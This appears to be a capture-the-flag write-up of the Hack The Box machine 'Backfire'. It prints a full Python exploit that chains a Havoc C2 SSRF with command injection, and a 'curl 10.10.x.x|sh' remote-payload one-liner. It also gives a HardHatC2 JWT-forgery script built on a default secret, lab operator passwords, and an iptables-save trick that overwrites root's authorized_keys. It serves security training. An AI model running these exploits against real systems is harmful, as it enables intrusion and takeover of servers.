Post

Backfire

Backfire is medium difficulty linux box with a challenging foothold that requires combining two exploits.

Backfire

About

Backfire

Backfire

Difficulty: Medium

OS: Linux

Release date: 2025-01-18

Authors: hyperreality, chebuya

Summary

Use a SSRF from an exploit published by box author chebuya to talk to a Havoc Teamserver. Adapt it to execute the RCE published by the other box author hyperreality. For root we abuse known hardhat exploits and the ability to run iptables commands with sudo.

User

Nmap reports 3 ports open nmap

SSH does not accept password logins and we can’t get anything useful out of port 443 initially.

Port 8000

Port 8000 serves two interesting files port 8000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();
 
     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();
 
     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}
 
 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
		}

This is a patch to Havoc C2. It disables TLS for websocket connections. We can apply the patch and build the modified teamserver for debugging.

The other file havoc.yaotl, is a profile for the Havoc Teamserver.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

We can use it for our test server like this:

1
./havoc server --profile havoc.yaotl

It also includes the credentials for two operators that we will need later.

Exploits

Research leads us to two interesting exploits:

The authors of the code are actually the box authors. This suggests it’s the correct path.

With the SSRF exploit sends a simple get command to an internal port

1
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056

Port 40056 runs the teamserver we are interested in.

The RCE exploit sends websocket commands to a teamserver that lead to command injection. With our local teamserver, we can confirm that it works on the latest Havoc version.

The goal is to combine these two exploits to get a foothold.
This was a lot of trial and error, especially since we only get responses in the SSRF code for simple web requests and not for any of the websocket ones.
Credit to manesec for figuring this out and the initial code for the websocket requests.

One thing that helped for debugging was a local setup and logging the requests to the teamserver through socat.

1
2
socat -v TCP4-LISTEN:40055,fork TCP4:localhost:40056
python3 exploit.py -t https://127.0.0.1 -i 127.0.0.1 -p 40055

Code

Long story short, this is the code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
# Exploit Title: Havoc C2 0.7 Unauthenticated SSRF
# Date: 2024-07-13
# Exploit Author: @_chebuya
# Software Link: https://github.com/HavocFramework/Havoc
# Version: v0.7
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-41570
# Description: This exploit works by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more.
# Github: https://github.com/chebuya/Havoc-C2-SSRF-poc
# Blog: https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
import binascii
import random
import requests
import argparse
import urllib3

urllib3.disable_warnings()


from Crypto.Cipher import AES
from Crypto.Util import Counter

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):

    if len(key) <= key_bytes:
        for x in range(len(key),key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    # DEMON_INITIALIZE / 99
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data =  b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id

    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"

    # SOCKET_COMMAND_OPEN / 16
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"

    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"


    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"

    # SOCKET_COMMAND_READ / 11
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"

    # SOCKET_TYPE_CLIENT / 3
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand+socket_id+socket_type+success+data_length+data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data

    # print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    # if r.status_code == 200:
    #     print("[***] Success!")
    # else:
    #     print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
    if r.status_code != 200:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    # COMMAND_GET_JOB / 1
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""
    
    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]



parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
parser.add_argument("-x", "--command", help="The command to execute", default="id")

args = parser.parse_args()

# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
        "User-Agent": args.user_agent
}

agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

def create_ws_frame(payload):
    # Define basic frame components
    fin = 0x80  # Final frame
    opcode = 0x1  # Text frame
    mask_bit = 0x80  # Mask flag

    # Create header
    header = bytearray()
    header.append(fin | opcode)

    # Determine payload length and construct length byte(s)
    payload_length = len(payload)
    if payload_length <= 125:
        header.append(mask_bit | payload_length)
    elif payload_length <= 65535:
        header.append(mask_bit | 126)
        header.extend(payload_length.to_bytes(2, 'big'))
    else:
        header.append(mask_bit | 127)
        header.extend(payload_length.to_bytes(8, 'big'))

    # Create a masking key
    masking_key = b'\x00\x00\x00\x00'
    header.extend(masking_key)

    # Mask the payload
    masked_payload = bytearray()
    for i, byte in enumerate(payload):
        masked_payload.append(byte ^ masking_key[i % 4])

    # Combine header and payload
    frame = header + masked_payload
    return frame

print("[***] Trying to establish websocket connection...")
request_data = b"GET /havoc/ HTTP/1.1\r\nHost: 127.0.0.1:40056\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: qije830G9qsDMgOFIXblFA==\r\nSec-WebSocket-Version: 13\r\n\r\n"
write_socket(socket_id, request_data)
res = read_socket(socket_id)

print("[***] Authenticating to teamserver...")
auth_payload = r'{"Body": {"Info": {"Password": "2e65bab481bc3484332f48c771749afc052adc8383bef70fd0feeb71ce2d657b", "User": "ilya"}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": "ilya"}}'
frame = create_ws_frame(auth_payload.encode())
write_socket(socket_id, frame)

print("[***] Adding listener...")
create_listener = r'{"Body": {"Info": {"Headers": "", "HostBind": "0.0.0.0", "HostHeader": "", "HostRotation": "round-robin", "Hosts": "0.0.0.0", "Name": "PWNBC", "PortBind": "443", "PortConn": "443", "Protocol": "Https", "Proxy Enabled": "false", "Secure": "true", "Status": "online", "Uris": "", "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"}, "SubEvent": 1}, "Head": {"Event": 2, "OneTime": "", "Time": "08:39:18", "User": "ilya"}}'
frame = create_ws_frame(create_listener.encode())
write_socket(socket_id, frame)

print("[***] Sending command...")
command = args.command
send_command = r'{"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\" \\\\\\\" -mbla; ' + command + r' 1>&2 && false #\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": "ilya"}}'
frame = create_ws_frame(send_command.encode())
write_socket(socket_id, frame)

Now we can use a web cradle to get a shell.

1
python3 havoc-ssrf-rce.py -t https://backfire.htb -i 127.0.0.1 -p 40056 -x 'curl 10.10.x.x|sh'

For the web cradle, I can recommend this script from xct:
https://gist.githubusercontent.com/xct/ab71d58a29e9017eb38565e32aeb95b0/raw/4d20cf8d66971e7507313044b01f27ec964f960b/resh.py

We are logged in as ilya and can grab the user flag.
The shell is not very stable, let’s add our ssh key to authorized_keys for easier access.

Pivot to sergej

As ilya, we are greeted with this note:

1
2
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

ss -atnl shows ports 5000 and 7096, Hardhat is indeed running.

Let’s forward them to localhost.

1
ssh ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

We can access the portal. hardhat

Unfortunately the operator credentials we found earlier don’t work.

However, we find the following article about recent Hardhat exploits:
https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7

First, let’s abuse the static JWT secret to authenticate and create a new user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",  
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sth_pentest",
  "role": "TeamLead",
  "username": "sth_pentest"
}

r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
1
2
3
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMDNkODAxMmMtNmE4NS00Mzk5LWEwY2EtNWU4NzY1MGE1Y2MxIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3MzcyNzg4NzQsImV4cCI6MTczOTY5ODA3NCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.QVO0caVehAFn5QNtx_WEOSUiVbwnBQKdzQCd9eIYzpY
User sth_pentest created

We can now log into the portal as sth_pentest.

Further following the article shows how we can get command execution. Let’s use the same web cradle.

hardhat terminal

We get a reverse shell as sergej.

Without the article

The medium article was published after the box release. So the intended path was figuring out this JWT vulnerability without it.

The note suggests that HardHatC2 is running in a default configuration and makes us believe that this is not secure.

Let’s have a look at the source:
https://github.com/DragoQCC/HardHatC2

The Jwt key can be found in appsettings.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*",
  "Jwt": {
    "Key": "jtee43gt-6543-2iur-9422-83r5w27hgzaq",
    "Issuer": "hardhatc2.com"
  },
  "IPWhitelistOptions": {
    "Whitelist": [ "*"]
  },
}

An alternative to creating and signing our own token, is spinning up a HardHatC2 instance. Luckily, docker makes this as easy as docker compose up.

After logging in with the password printed to the console, the cookie with the jwt gets stored. Now we can just kill the containers, use ssh port forwarding and use the same cookie to get a shell as sergej.

Root

sudo -l is promising

1
2
3
User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

Gtfobins doesn’t have anything on iptables, but there is this nice article that explains how to abuse it:
https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/

We will use the arbitary file overwrite via iptables-save. It works by adding multiline comments with iptables and dumping the rules to a file of our choice with iptables-save.

The approach with overwriting /etc/passwd as described in the article leads to errors. Overwriting authorized_keys, however, works fine.

1
2
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'x\nssh-ed25519 YOURKEYHERE\ny'
sudo iptables-save -f /root/.ssh/authorized_keys

Our key is successfully added and we can log in via SSH to grab the root flag.

This post is licensed under CC BY 4.0 by the author.